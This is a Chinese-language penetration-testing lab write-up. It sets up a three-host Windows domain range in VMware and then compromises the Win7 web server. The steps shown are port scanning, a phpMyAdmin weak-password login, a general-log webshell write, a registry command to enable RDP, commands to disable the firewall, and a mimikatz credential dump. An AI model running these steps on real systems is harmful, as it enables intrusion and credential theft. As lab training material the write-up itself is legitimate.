1. 工具准备
1.1 VMware workstation
VMware Workstation Pro是VMware公司推出的一款桌面虚拟计算软件,具有Windows、Linux 版本。此软件可以提供虚拟机功能,使计算机可以同时运行多个不同操作系统。
下载链接:https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion
1.2 靶场下载
靶场包括三台主机:
win7:充当Web服务器,两张网卡:
外网网卡IP:192.168.126.111,内网网卡IP:192.168.52.143
win2008:域控主机,IP:192.168.52.138
win2003:域内主机,IP:192.168.52.141
靶机下载地址:http://39.98.79.56/vuln/detail/2/
1.3 关系拓扑图

电脑默认为工作组形式,使用工作组账号存放于本地,以“计算机名\账户名”访问
在域环境中,账号存放于域控中统一管理,以“域名\账户名”形式访问
2.虚拟网络编辑
在VMware中,需要在虚拟网络编辑器中添加网络:
添加步骤:编辑-虚拟网络编辑器-更改设置-添加网络,设置为仅主机模式,子网地址设置为192.168.126.0:

然后再添加内网的网络为VMnet3,子网地址设置为192.168.52.0,也是仅主机模式,注意不要勾选“将主机虚拟适配器连接到此网络”:

3. web服务器网络设置
接下来点击文件-打开Win7的靶机:


打开以后,进入设置-虚拟机设置-网络适配器(VMnet2),网络连接设置为自定义VMnet2:

设置好之后,打开Win7虚拟机登录,虚拟机所有统一密码:hongrisec@2019,如果提示过期改成新的就可以了:

登进去的界面是这样的:

打开网络-网络和共享中心-更改适配器设置,找到本地连接-属性设置IP地址为192.168.126.111:

接下来设置第二个网卡,设置-虚拟机设置-添加-网络适配器-设置为自定义-VMnet3:

回到刚才的更改适配器选项,多了一个本地连接,属性-更改IP地址为192.168.52.143,网关为192.168.52.2,DNS设置为域控靶机IP:192.168.52.138:

关闭Win7靶机的防火墙,ping一下外网的IP能不能成功:

接着开启web服务,C盘-phpStudy-开启服务:

4. 域控和域内主机设置
域控主机和域内主机也是同样设置成自定义虚拟网络VMnet3:

接下来重启Win7,就可以使用域控账号和密码登录系统了,输入指令就可以查询整个域内的账号:
net user /domain


5. web服务器渗透
5.1 端口扫描
打开Kali系统使用Nmap工具扫描Win7主机开放的端口,输入命令:nmap -Pn 192.168.126.111:

Nmap工具是Kali系统自带的,比较方便,当然也可以使用其他工具,比如御剑、vscan等。
通过扫描,可以看到主机开放的端口有80、3306、135、139等端口,80是http协议端口,3306是MySQL数据库端口等等,访问http://192.168.126.111:80看一下:

通过Kali自带的Dirb工具扫描web服务器目录结构:

可以看到网站是由phpStudy搭建的,因此后台地址可能是暴露的,访问一下phpmyadmin目录果然存在:

5.2 phpMyAdmin日志getshell
试一下弱口令,账号和密码都是root,登录到后台:

进入后台后执行SQL语句,查询一下网站的数据库日志状态:
SHOW GLOBAL VARIABLES LIKE '%general%'

日志状态目前的OFF关闭,执行下面的sql语句开启日志:
SET GLOBAL general_log = ON

再来查询一下日志的状态就变成ON了:

自定义日志记录文件log.php:
SET GLOBAL general_log_file = 'C:/phpstudy/WWW/log.php'

再查询一下日志记录文件,输入地址http://192.168.126.111/log.php就可以直接访问到日志文件:

执行一句话木马,写进日志文件:


启用蚁剑来管理webshell,连接web服务器:


5.3 远程控制web服务器
蚁剑控制web服务器以后,打开虚拟终端,使用注册表方式远程打开web服务器的3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
然后查看端口号的开放情况:
netstat -ano

接着关闭web服务器的防火墙:
netsh firewall show state //查看防火墙的状态
netsh firewall set opmode disable //关闭防火墙

利用Mimikatz工具抓取less内存密码,先将Mimikatz工具通过蚁剑上传到web服务器:

运行以下的命令执行:
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit

接下来就可以登录web服务器的远程桌面了:


这样,远程控制web服务器的过程就结束了。
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。